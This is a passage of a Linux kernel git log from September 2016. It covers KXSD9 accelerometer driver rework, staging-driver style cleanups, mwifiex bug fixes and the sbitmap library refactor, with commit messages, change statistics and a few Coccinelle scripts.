.probe() and .remove() functions is technically the parent of the created IIO device but it becomes a big confusion for the head to have it named like this since it is usually clear from context the "dev" refers to the physical device, and when next adding PM callbacks a clean "struct device *dev" pointer is passed to these and that makes it even more confused. Rename "parent" to "dev" like in most other drivers. Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/accel/kxsd9.c | 20 ++++++++++---------- drivers/iio/accel/kxsd9.h | 4 ++-- 2 files changed, 12 insertions(+), 12 deletions(-) commit 2bb4a02aad0257148be4f51e3b4c9c0077787e17 Author: Linus Walleij Date: Thu Sep 1 11:44:46 2016 +0200 iio: accel: kxsd9: Fetch and handle regulators This adds supply regulator handling for the VDD and IOVDD inputs on the KXSD9 component, makes sure to bring the regulators online during probe and disable them on remove or the errorpath. Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/accel/kxsd9.c | 88 +++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 85 insertions(+), 3 deletions(-) commit 11adc2b218028934540be4f235a486d575d74b54 Author: Linus Walleij Date: Thu Sep 1 11:44:45 2016 +0200 iio: accel: kxsd9: Deploy proper register bit defines There are some hardcoded register values etc in the code, define proper bitfield definitions, and use them when getting and setting the scale. Optimize a read/modify/write to use regmap_update_bits() at the same time. Signed-off-by: Linus Walleij Tested-by: Jonathan Cameron Signed-off-by: Jonathan Cameron drivers/iio/accel/kxsd9.c | 36 +++++++++++++++++++++++++++--------- 1 file changed, 27 insertions(+), 9 deletions(-) commit 0427a106a98adf94b53cc88607ceabc2ecebd2cc Author: Linus Walleij Date: Thu Sep 1 11:44:44 2016 +0200 iio: accel: kxsd9: Add triggered buffer handling As is custom with all modern sensors, add a clever burst mode that will just stream out values from the sensor and provide it to userspace to do the proper offsetting and scaling. This is the result when tested with an HRTimer trigger: $ generic_buffer -a -c 10 -n kxsd9 -t foo /sys/bus/iio/devices/iio:device1 foo 0.371318 0.718680 9.869872 1795.000000 97545896129 -0.586922 0.179670 9.378775 2398.000000 97555864721 -0.299450 0.179670 10.348992 2672.000000 97565874055 0.371318 0.335384 11.103606 2816.000000 97575883240 0.179670 0.574944 10.540640 2847.000000 97585862351 0.335384 0.754614 9.953718 2840.000000 97595872425 0.179670 0.754614 10.732288 2879.000000 97605882351 0.000000 0.754614 10.348992 2872.000000 97615891832 -0.730658 0.574944 9.570422 2831.000000 97625871536 0.000000 1.137910 10.732288 2872.000000 97635881610 Columns shown are x, y, z acceleration, so a positive acceleration of ~9.81 (shaky due to bad calibration) along the z axis. The fourth column is the AUX IN which is floating on this system, it seems to float up to the 2.85V VDD voltage. To be able to cleanup the triggered buffer, we need to add .remove() callbacks to the I2C and SPI subdrivers and call back into an exported .remove() callback in the core. Signed-off-by: Linus Walleij Tested-by: Jonathan Cameron Signed-off-by: Jonathan Cameron drivers/iio/accel/Kconfig | 2 ++ drivers/iio/accel/kxsd9.c | 82 +++++++++++++++++++++++++++++++++++++++++++---- 2 files changed, 78 insertions(+), 6 deletions(-) commit 84e2f6f9583f195b9851a8f6340bb526749ea609 Author: Linus Walleij Date: Thu Sep 1 11:44:43 2016 +0200 iio: accel: kxsd9: Fix up offset and scaling This fixes several errors in the offset and scaling of the raw values from the KXSD9 sensor: - The code did not convert the big endian value from the sensor into the endianness of the host CPU. Fix this with be16_to_cpu() on the raw obtained value. - The code did not regard the fact that only the upper 12 bits of the accelerometer values are valid. Shift these down four bits to yield the real raw value. - Further the sensor provides 2048 at zero g. This means that an offset of 2048 must be subtracted from the raw value before scaling. This was not taken into account by the driver, yielding a weird value. Fix this by providing this offset in sysfs. To house the scaling code better, the value reading code was factored into the raw reading function. This proper scaling and offseting is necessary to get proper values out of triggered buffer by offsetting, shifting and scaling them. Signed-off-by: Linus Walleij Tested-by: Jonathan Cameron Signed-off-by: Jonathan Cameron drivers/iio/accel/kxsd9.c | 35 ++++++++++++++++++----------------- 1 file changed, 18 insertions(+), 17 deletions(-) commit dc6ac050c7d405cf99f847d5f7b485a7dfa00840 Author: Linus Walleij Date: Thu Sep 1 11:44:42 2016 +0200 iio: accel: kxsd9: Drop the buffer lock The RX/TX buffers are gone so drop the lock (it should have been in the transport struct anyway). Tested-by: Jonathan Cameron Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/accel/kxsd9.c | 18 ++++-------------- 1 file changed, 4 insertions(+), 14 deletions(-) commit a483ab796960c9080dc9f97f5905d11debad3df9 Author: Linus Walleij Date: Thu Sep 1 11:44:41 2016 +0200 iio: accel: kxsd9: Add I2C transport This adds I2C regmap transport for the KXSD9 driver. Tested on the KXSD9 sensor on the APQ8060 Dragonboard. Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/accel/Kconfig | 12 ++++++++- drivers/iio/accel/Makefile | 1 + drivers/iio/accel/kxsd9-i2c.c | 63 +++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 75 insertions(+), 1 deletion(-) commit 0d1fb2d52d8b4a1124cb2db7d22c4131ad5805cf Author: Linus Walleij Date: Thu Sep 1 11:44:40 2016 +0200 iio: accel: kxsd9: Convert to use regmap for transport This converts the KXSD9 driver to drop the custom transport mechanism and just use regmap like everything else. Tested-by: Jonathan Cameron Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/accel/Kconfig | 1 + drivers/iio/accel/kxsd9-spi.c | 79 ++++++++++--------------------------------- drivers/iio/accel/kxsd9.c | 40 +++++++++++++--------- drivers/iio/accel/kxsd9.h | 22 +----------- 4 files changed, 43 insertions(+), 99 deletions(-) commit ab04f734b08a404550ba5f8391307bad2145acff Author: Linus Walleij Date: Thu Sep 1 11:44:39 2016 +0200 iio: accel: kxsd9: Do away with the write2 helper This is just a masquerading register write function, so use the register write function instead. Signed-off-by: Linus Walleij Tested-by: Jonathan Cameron Signed-off-by: Jonathan Cameron drivers/iio/accel/kxsd9-spi.c | 10 ---------- drivers/iio/accel/kxsd9.c | 4 ++-- drivers/iio/accel/kxsd9.h | 2 -- 3 files changed, 2 insertions(+), 14 deletions(-) commit bf96f6e80cef4b9a234e8ce81aa2e333ca7ce599 Author: Linus Walleij Date: Thu Sep 1 11:44:38 2016 +0200 iio: accel: kxsd9: Split out SPI transport This moves the KXSD9 SPI transport out to its own file and Kconfig entry, so that we will be able to add another transport method. We export the common probe and add a local header file for the functionality shared between the main driver and the transport driver. We make the SPI transport the default for the driver if SPI is available and the KXSD9 driver was selected, so the oldconfig upgrade path will be clear. Signed-off-by: Linus Walleij Tested-by: Jonathan Cameron Signed-off-by: Jonathan Cameron drivers/iio/accel/Kconfig | 10 ++- drivers/iio/accel/Makefile | 1 + drivers/iio/accel/kxsd9-spi.c | 110 +++++++++++++++++++++++++++++++ drivers/iio/accel/kxsd9.c | 147 ++++++------------------------------------ drivers/iio/accel/kxsd9.h | 32 +++++++++ 5 files changed, 173 insertions(+), 127 deletions(-) commit 154021a317564a600fb5b8e6eba9a76ca6888310 Author: Linus Walleij Date: Thu Sep 1 11:44:37 2016 +0200 iio: accel: kxsd9: split out a common remove() function This makes it possible to later split the transport mechanism using a generic probe() and a generic remove(). Use dev_set_drvdata() and dev_get_drvdata() as a paired accessor to operate on the abstract struct device * regardless of the transport mechanism in use. Signed-off-by: Linus Walleij Tested-by: Jonathan Cameron Signed-off-by: Jonathan Cameron drivers/iio/accel/kxsd9.c | 24 ++++++++++++++---------- 1 file changed, 14 insertions(+), 10 deletions(-) commit 9f9079720a4b802555ffc6f71ce3dd8adfd78f60 Author: Linus Walleij Date: Thu Sep 1 11:44:36 2016 +0200 iio: accel: kxsd9: Split out transport mechanism Split off a transport mechanism struct that will deal with the SPI traffic in preparation for adding I2C support. Tested-by: Jonathan Cameron Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/accel/kxsd9.c | 175 ++++++++++++++++++++++++++++++++-------------- 1 file changed, 123 insertions(+), 52 deletions(-) commit 364bcc5a5affea5a71db5a96f17b3e374cb659dc Author: Cathal Mullaney Date: Sun Sep 18 00:04:42 2016 +0100 Staging: octeon: ethernet-rx: fixed three redundant blank line style issues Fixed three minor coding style issues. Signed-off-by: Cathal Mullaney Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-rx.c | 3 --- 1 file changed, 3 deletions(-) commit e63ecbc774d98062cfa6b5c2ef4ecc0d1d732242 Author: Jon Eyolfson Date: Sat Sep 17 19:49:55 2016 -0400 staging: wlan-ng: if statement style cleanup Changed if statement bodies from 2 levels deeper than if statement to 1. Signed-off-by: Jon Eyolfson Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/cfg80211.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit ed88363e6aebb91df820e1a8898d2a07b18d2bc9 Author: Anchal Jain Date: Sun Sep 18 12:16:40 2016 +0530 staging: olpc_dcon: Replace a bit shift by a use of BIT. This patch replaces bit shifting on 1 with the BIT(x) macro as it's extensively used by other function in the file olpc_dcon.h . Signed-off-by: Anchal Jain Signed-off-by: Greg Kroah-Hartman drivers/staging/olpc_dcon/olpc_dcon.h | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) commit 6841b2a0fccf930e80e0c7d7f1bd8d78d21cd0fa Author: Cathal Mullaney Date: Sat Sep 17 20:01:08 2016 +0100 Staging: dgnc: dgnc_tty: fixed a line too long style issue Fixed a coding style issue. Signed-off-by: Cathal Mullaney Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_tty.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9fa1f943d6fae7a5b233427139ada65d0ce372cd Author: Namrata A Shettar Date: Sat Sep 17 02:35:21 2016 +0530 staging: rtl8712: Rename misspelt macro Correct the word 'success' being misspelt in the macro: - LED_BLINK_WPS_SUCESS_INTERVAL_ALPHA => LED_BLINK_WPS_SUCCESS_INTERVAL_ALPHA Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl8712_led.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit c60298c5869c9bcb14721e8450e6bf6e5e7989a8 Author: sayli karnik Date: Sat Sep 17 22:05:19 2016 +0530 staging: rtl8188eu: core: Replace memcpy() with ether_addr_copy() if ethernet addresses are __aligned(2) This patch fixes the checkpatch warning: Prefer ether_addr_copy() over memcpy() if the Ethernet addresses are __aligned(2) Done using coccinelle: @@ expression exp1, exp2; @@ - memcpy(exp1, exp2, ETH_ALEN); + ether_addr_copy(exp1, exp2); The output of pahole shows that the addresses are aligned: struct ieee80211_hdr { __le16 frame_control; /* 0 2 */ __le16 duration_id; /* 2 2 */ u8 addr1[6]; /* 4 6 */ u8 addr2[6]; /* 10 6 */ u8 addr3[6]; /* 16 6 */ __le16 seq_ctrl; /* 22 2 */ u8 addr4[6]; /* 24 6 */ /* size: 30, cachelines: 1, members: 7 */ /* last cacheline: 30 bytes */ }; struct wlan_bssid_ex { u32 Length; /* 0 4 */ unsigned char MacAddress[6]; /* 4 6 */ u8 Reserved[2]; /* 10 2 */ struct ndis_802_11_ssid Ssid; /* 12 36 */ u32 Privacy; /* 48 4 */ long int Rssi; /* 52 8 */ enum NDIS_802_11_NETWORK_TYPE NetworkTypeInUse; /* 60 4 */ /* --- cacheline 1 boundary (64 bytes) --- */ struct ndis_802_11_config Configuration; /* 64 32 */ enum ndis_802_11_network_infra InfrastructureMode; /* 96 4 */ unsigned char SupportedRates[16]; /* 100 16 */ struct wlan_phy_info PhyInfo; /* 116 4 */ u32 IELength; /* 120 4 */ u8 IEs[768]; /* 124 768 */ /* --- cacheline 13 boundary (832 bytes) was 60 bytes ago --- */ /* size: 892, cachelines: 14, members: 13 */ /* last cacheline: 60 bytes */ }; struct stadel_event { unsigned char macaddr[6]; /* 0 6 */ unsigned char rsvd[2]; /* 6 2 */ int mac_id; /* 8 4 */ /* size: 12, cachelines: 1, members: 3 */ /* last cacheline: 12 bytes */ }; Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 89 ++++++++++++++------------- 1 file changed, 46 insertions(+), 43 deletions(-) commit fbafd397fb63c787f302f1ca6db281a87cdb0ca9 Author: Andrew Kanner Date: Sat Sep 17 01:28:13 2016 +0300 drivers: staging: vme: convert to octal notation for permission bits Ran checkpatch.pl -f vme_pio2_core.c Fixed: WARNING: Symbolic permissions are not preferred. Consider using octal permissions (0444) Signed-off-by: Andrew Kanner Signed-off-by: Greg Kroah-Hartman drivers/staging/vme/devices/vme_pio2_core.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 069bb6a807950ee3eb2a7365248140bf186889ba Author: sayli karnik Date: Sat Sep 17 02:03:45 2016 +0530 staging: olpc_dcon: Replace u_int8_t with u8 This patch replaces type u_int8_t with u8 as suggested by checkpatch.pl. Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/olpc_dcon/olpc_dcon_xo_1_5.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a0db9c0a529d4407a1ed4bf697a09f50ae3e9744 Author: sayli karnik Date: Fri Sep 16 23:29:30 2016 +0530 staging: media: davinci_vpfe: Replace explicit NULL comparison with ! operator This patch replaces the explicit NULL comparisons with ! operator. It was found using Coccinelle: @disable is_null@ expression e; @@ - e == NULL + !e Signed-off-by: sayli karnik Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/media/davinci_vpfe/vpfe_video.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit f9c7cb1cb5e1d81d24bf2d2c79229a3f25ab7e5d Author: sayli karnik Date: Sat Sep 17 00:14:57 2016 +0530 staging: media: davinci_vpfe: Use BIT macro instead of left shifting 1 This patch replaces left shifts on 1 with the BIT(x) macro, as suggested by checkpatch.pl. This was done using coccinelle script: @@ constant c; @@ - (1 << c) + BIT(c) Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman .../staging/media/davinci_vpfe/davinci_vpfe_user.h | 36 +++++++++++----------- 1 file changed, 18 insertions(+), 18 deletions(-) commit 2751bc918e61a114704f2a6673d316a38878319d Author: Bhumika Goyal Date: Sat Sep 17 13:09:13 2016 +0530 Staging: ks7010: Remove extern keyword from function declaration Remove extern specifier from function declaration as they have it by default. Also move extern declaration from .c files to their respective header file 'ks_hostif.h'. Coccinelle was used to remove extern and other changes were done by hand. Script: @@ identifier func; type T; @@ - extern T func(...); Signed-off-by: Bhumika Goyal Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_hostif.c | 9 --------- drivers/staging/ks7010/ks_hostif.h | 22 +++++++++++++++------- drivers/staging/ks7010/ks_wlan.h | 4 ++-- drivers/staging/ks7010/ks_wlan_ioctl.h | 6 +++--- drivers/staging/ks7010/ks_wlan_net.c | 4 ---- drivers/staging/ks7010/michael_mic.h | 1 - 6 files changed, 20 insertions(+), 26 deletions(-) commit 2296f5215fd32c371f51a20155f9719b2366b7bf Author: Namrata A Shettar Date: Sat Sep 17 17:56:59 2016 +0530 staging: rts5208: rtsx_chip: Add space around binary operators Add space around binary operators to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx_chip.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 5adb3290ba8738f6f864488fce0ff19f56325eb8 Author: Baoyou Xie Date: Sat Sep 17 20:04:36 2016 +0800 staging: lustre: lmv: mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/staging/lustre/lustre/lmv/lmv_obd.c:1640:1: warning: no previous prototype for 'lmv_locate_target_for_name' [-Wmissing-prototypes] drivers/staging/lustre/lustre/lmv/lmv_obd.c:2421:5: warning: no previous prototype for 'lmv_read_page' [-Wmissing-prototypes] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 38 ++++++++++++++++------------- 1 file changed, 21 insertions(+), 17 deletions(-) commit b3f863a6bce01196bf5298f1801a260595de75dd Author: Baoyou Xie Date: Sat Sep 17 21:24:08 2016 +0800 staging/lustre: clean function declaration in cl_io.c up We get 1 warning when building kernel with W=1: drivers/staging/lustre/lustre/obdclass/cl_page.c:488:6: warning: no previous prototype for 'cl_page_disown0' [-Wmissing-prototypes] In fact, this function is declared in drivers/staging/lustre/lustre/obdclass/cl_io.c, but should be removed in a header file. thus can be recognized in other file. So this patch moves the declaration into drivers/staging/lustre/lustre/include/cl_object.h. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 2 ++ drivers/staging/lustre/lustre/obdclass/cl_io.c | 2 -- 2 files changed, 2 insertions(+), 2 deletions(-) commit af78e1e8f245c014e51347ad2e767fad5bbc1459 Author: Baoyou Xie Date: Sat Sep 17 21:30:35 2016 +0800 staging: lustre: obdclass: clean function declarations in obd_config.c and class_obd.c up We get 3 warnings when building kernel with W=1: drivers/staging/lustre/lustre/obdclass/obd_mount.c:705:5: warning: no previous prototype for 'lustre_check_exclusion' [-Wmissing-prototypes] drivers/staging/lustre/lustre/obdclass/obd_mount.c:1226:5: warning: no previous prototype for 'lustre_register_fs' [-Wmissing-prototypes] drivers/staging/lustre/lustre/obdclass/obd_mount.c:1231:5: warning: no previous prototype for 'lustre_unregister_fs' [-Wmissing-prototypes] In fact, the first function is declared in drivers/staging/lustre/lustre/obdclass/obd_config.c, and the other two functions are declared in drivers/staging/lustre/lustre/obdclass/class_obd.c, but all of these functions should be declared in a header file, thus can be recognized in other file. So this patch moves the declarations into drivers/staging/lustre/lustre/include/obd_class.h. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd_class.h | 3 +++ drivers/staging/lustre/lustre/obdclass/class_obd.c | 4 ---- drivers/staging/lustre/lustre/obdclass/obd_config.c | 2 -- 3 files changed, 3 insertions(+), 6 deletions(-) commit c2e1b91ed8b1b48b0aa5613c2cfd4cb3aac8d0af Author: Baoyou Xie Date: Sat Sep 17 21:37:03 2016 +0800 staging/lustre: clean function declaration in super25.c up We get 1 warning when building kernel with W=1: drivers/staging/lustre/lustre/obdclass/obd_config.c:719:6: warning: no previous prototype for 'lustre_register_client_process_config' [-Wmissing-prototypes] In fact, this function is declared in drivers/staging/lustre/lustre/llite/super25.c, but should be moved into a header file, thus can be recognized in other file. So this patch moves the declaration into drivers/staging/lustre/lustre/include/lprocfs_status.h. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lprocfs_status.h | 3 +++ drivers/staging/lustre/lustre/llite/super25.c | 2 -- 2 files changed, 3 insertions(+), 2 deletions(-) commit c276af40ef8d7cfbe257bd41a9d2501178de7e79 Author: Baoyou Xie Date: Sat Sep 17 21:41:39 2016 +0800 staging: lustre: clean function declaration in super25.c up We get 1 warning when building kernel with W=1: drivers/staging/lustre/lnet/selftest/conctl.c:804:1: warning: no previous prototype for 'lstcon_ioctl_entry' [-Wmissing-prototypes] In fact, this function is declared in drivers/staging/lustre/lustre/llite/super25.c, but should be moved into a header file, thus can be recognized in other file. So this patch moves the declaration into drivers/staging/lustre/lnet/selftest/console.h Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/selftest/console.c | 2 -- drivers/staging/lustre/lnet/selftest/console.h | 1 + 2 files changed, 1 insertion(+), 2 deletions(-) commit 63ed97ecf79059c917eacf23ed6cd260bcaabd3b Author: Richard Groux Date: Fri Sep 16 17:51:02 2016 +0200 staging: lustre: include/lustre_net.h: Remove unnecessary space before function pointer arguments. Minor warnings spotted by checkpatch.pl in lustre Remove unnecessary space before function pointer arguments. Signed-off-by: Richard Groux Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_net.h | 46 +++++++++++----------- 1 file changed, 23 insertions(+), 23 deletions(-) commit 30b48e2dbe7f4d78fb8f7abbef9851ec36a93dff Author: Bhumika Goyal Date: Fri Sep 16 19:54:37 2016 +0530 Staging: ks7010: Replace memset with eth_zero_addr Use eth_zero_addr to assign zero address to the given address array instead of memset when the second argument in memset is address of zero. Coccinelle was used to do the replacement and add the header file linux/etherdevice.h if not already present. Script: @header@ @@ #include @r1@ expression e; @@ -memset(e,0,ETH_ALEN); +eth_zero_addr(e); @includeheader depends on r1 && !header@ @@ + #include #include <...> Signed-off-by: Bhumika Goyal Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_hostif.c | 7 ++++--- drivers/staging/ks7010/ks_wlan_net.c | 6 +++--- 2 files changed, 7 insertions(+), 6 deletions(-) commit faa48ea82bcd4b186dd548529d2514a9a2892095 Author: sayli karnik Date: Fri Sep 16 16:23:02 2016 +0530 staging: wilc1000: Use sizeof type *pointer instead of sizeof type The patch uses the size of the dereference to a variable instead of it's type, to make the code more resistant to type changes in the future. The type of the pointer variable here is the same as the type in the argument that is being replaced in sizeof(). Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/host_interface.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5c64a8df0ca88c79c9cb74674c2481e5f7ede511 Author: Omar Sandoval Date: Sat Sep 17 12:20:54 2016 -0700 sbitmap: don't update the allocation hint on clear after resize If we have a bunch of high-numbered bits allocated and then we resize the struct sbitmap_queue, when those bits get cleared, we'll update the hint and then have to re-randomize it repeatedly. Avoid that by checking that the cleared bit is still a valid hint. No measurable performance difference in the common case. Signed-off-by: Omar Sandoval Signed-off-by: Jens Axboe lib/sbitmap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d7c952a3664c5f52a1a117327a9e32e64cc74ed4 Author: Ivan Safonov Date: Fri Sep 16 21:34:12 2016 +0700 staging: r8188eu: remove ODM_CmnInfoPtrArrayHook function This function used once, and does not improve code readability. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/odm.c | 67 ----------------------------- drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 37 ++++++++-------- 2 files changed, 20 insertions(+), 84 deletions(-) commit 02f14ca4232207e75e57bfd679b60b48e60993f4 Author: Ivan Safonov Date: Fri Sep 16 21:33:42 2016 +0700 staging: r8188eu: remove ODM_CmnInfoHook function This function used once, and does not improve code readability. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/odm.c | 77 ----------------------------- drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 22 ++++----- 2 files changed, 11 insertions(+), 88 deletions(-) commit 7399c2c3959c71e7cef3ba9aca393f82163c633f Author: Ivan Safonov Date: Fri Sep 16 21:33:12 2016 +0700 staging: r8188eu: remove ODM_CmnInfoUpdate function This function does not improve code readability. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/odm.c | 43 +---------------------- drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 12 +++---- drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 4 +-- 3 files changed, 9 insertions(+), 50 deletions(-) commit 80ba4f1d365af206b9e818d17d22fed02fe5def0 Author: Colin Ian King Date: Fri Sep 16 10:37:31 2016 +0100 mwifiex: fix null pointer deference when adapter is null If adapter is null the error exit path in mwifiex_shutdown_sw is to down the semaphore sem and print some debug via mwifiex_dbg. However, passing a NULL adapter to mwifiex_dbg causes a null pointer deference when accessing adapter->dev. This fix checks for a null adapter at the start of the function and to exit without the need to up the semaphore and we also skip the debug to avoid the null pointer dereference. Signed-off-by: Colin Ian King Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/main.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 92ca4f92eca7aa362d51f7657d3fea47861600ee Author: Bob Copeland Date: Wed Sep 14 08:42:36 2016 -0400 mwifiex: fix error handling in mwifiex_create_custom_regdomain smatch reports: sta_cmdresp.c:1053 mwifiex_create_custom_regdomain() warn: possible memory leak of 'regd' Indeed, mwifiex_create_custom_regdomain() returns NULL in the case that channel is missing in the TLV without freeing regd. Moreover, some other error paths in this function return ERR_PTR values which are assigned without checking to the regd field in the mwifiex_adapter struct. The latter is only null-checked where used. Fix by freeing regd in the error path, and only update priv->adapter->regd if the returned pointer is valid. Cc: Amitkumar Karwar Cc: Nishant Sarmukadam Signed-off-by: Bob Copeland Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/sta_cmdresp.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit f1785fbf7c0bc17211c299a647ebc38968a42181 Author: Jes Sorensen Date: Tue Sep 13 15:03:15 2016 -0400 rtl8xxxu: Implement 8192e specific power down sequence This powers down the 8192e correctly, or at least to the point where the firmware will load again, when reloading the driver module. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo .../net/wireless/realtek/rtl8xxxu/rtl8xxxu_8192e.c | 144 ++++++++++++++++++++- .../net/wireless/realtek/rtl8xxxu/rtl8xxxu_regs.h | 1 + 2 files changed, 144 insertions(+), 1 deletion(-) commit 6833d0700d0fd3022a6514bfcecd518b95a1f671 Merge: fd9527f fd659f8 Author: Kalle Valo Date: Sat Sep 17 18:10:33 2016 +0300 Merge tag 'iwlwifi-next-for-kalle-2016-09-15-2' of git://git.kernel.org/pub/scm/linux/kernel/git/iwlwifi/iwlwifi-next * work for new hardware support continues * dynamic queue allocation stabilization * improvements in the MSIx code * multiqueue support work continues * new firmware version support * general cleanups and improvements commit 05fd095d53b979878f016c3a7080d3683cc89d72 Author: Omar Sandoval Date: Sat Sep 17 01:28:26 2016 -0700 sbitmap: re-initialize allocation hints after resize After a struct sbitmap_queue is resized smaller, the allocation hints may still be set to bits beyond the new depth of the bitmap. This means that, for example, if the number of blk-mq tags is reduced through sysfs, more requests than the nominal queue depth may be in flight. It's tempting to fix this at resize time by doing a one-time reinitialization of the hints, but this can race with __sbitmap_queue_get() updating the hint. Instead, check the hint before we use it. This caused no measurable performance difference in my synthetic benchmarks. Signed-off-by: Omar Sandoval Signed-off-by: Jens Axboe lib/sbitmap.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 98d95416dbfaf4910caadfb4ddc75e4aacbdff8c Author: Omar Sandoval Date: Sat Sep 17 01:28:25 2016 -0700 sbitmap: randomize initial alloc_hint values In order to get good cache behavior from a sbitmap, we want each CPU to stick to its own cacheline(s) as much as possible. This might happen naturally as the bitmap gets filled up and the alloc_hint values spread out, but we really want this behavior from the start. blk-mq apparently intended to do this, but the code to do this was never wired up. Get rid of the dead code and make it part of the sbitmap library. Signed-off-by: Omar Sandoval Signed-off-by: Jens Axboe block/blk-mq-tag.c | 8 -------- block/blk-mq-tag.h | 1 - lib/sbitmap.c | 6 ++++++ 3 files changed, 6 insertions(+), 9 deletions(-) commit f4a644db86669d938c71f19560aebf69d4720d63 Author: Omar Sandoval Date: Sat Sep 17 01:28:24 2016 -0700 sbitmap: push alloc policy into sbitmap_queue Again, there's no point in passing this in every time. Make it part of struct sbitmap_queue and clean up the API. Signed-off-by: Omar Sandoval Signed-off-by: Jens Axboe block/blk-mq-tag.c | 33 +++++++++++++++------------------ block/blk-mq-tag.h | 1 - include/linux/sbitmap.h | 19 +++++++++++-------- lib/sbitmap.c | 14 ++++++++------ 4 files changed, 34 insertions(+), 33 deletions(-) commit 40aabb67464d5aad9ca3d2a5fedee56e2ff45aa0 Author: Omar Sandoval Date: Sat Sep 17 01:28:23 2016 -0700 sbitmap: push per-cpu last_tag into sbitmap_queue Allocating your own per-cpu allocation hint separately makes for an awkward API. Instead, allocate the per-cpu hint as part of the struct sbitmap_queue. There's no point for a struct sbitmap_queue without the cache, but you can still use a bare struct sbitmap. Signed-off-by: Omar Sandoval Signed-off-by: Jens Axboe block/blk-mq-tag.c | 53 ++++++++++++++++--------------------------------- block/blk-mq-tag.h | 3 ++- block/blk-mq.c | 2 +- block/blk-mq.h | 2 -- include/linux/sbitmap.h | 45 ++++++++++++++++++++++++++++++++++++++++- lib/sbitmap.c | 35 +++++++++++++++++++++++++++++++- 6 files changed, 98 insertions(+), 42 deletions(-) commit 48e28166a7b608e19a6aea3acadd81cdfe660f6b Author: Omar Sandoval Date: Sat Sep 17 01:28:22 2016 -0700 sbitmap: allocate wait queues on a specific node The original bt_alloc() we converted from was using kzalloc(), not kzalloc_node(), to allocate the wait queues. This was probably an oversight, so fix it for sbitmap_queue_init_node(). Signed-off-by: Omar Sandoval Signed-off-by: Jens Axboe lib/sbitmap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 88459642cba452630326b9cab1c651e09577d4e4 Author: Omar Sandoval Date: Sat Sep 17 08:38:44 2016 -0600 blk-mq: abstract tag allocation out into sbitmap library This is a generally useful data structure, so make it available to anyone else who might want to use it. It's also a nice cleanup separating the allocation logic from the rest of the tag handling logic. The code is behind a new Kconfig option, CONFIG_SBITMAP, which is only selected by CONFIG_BLOCK for now. This should be a complete noop functionality-wise. Signed-off-by: Omar Sandoval Signed-off-by: Jens Axboe MAINTAINERS | 1 + block/Kconfig | 1 + block/blk-mq-tag.c | 463 ++++++++++++------------------------------------ block/blk-mq-tag.h | 37 ++-- block/blk-mq.c | 112 ++++-------- block/blk-mq.h | 9 - include/linux/blk-mq.h | 9 +- include/linux/sbitmap.h | 327 ++++++++++++++++++++++++++++++++++ lib/Kconfig | 3 + lib/Makefile | 2 + lib/sbitmap.c | 301 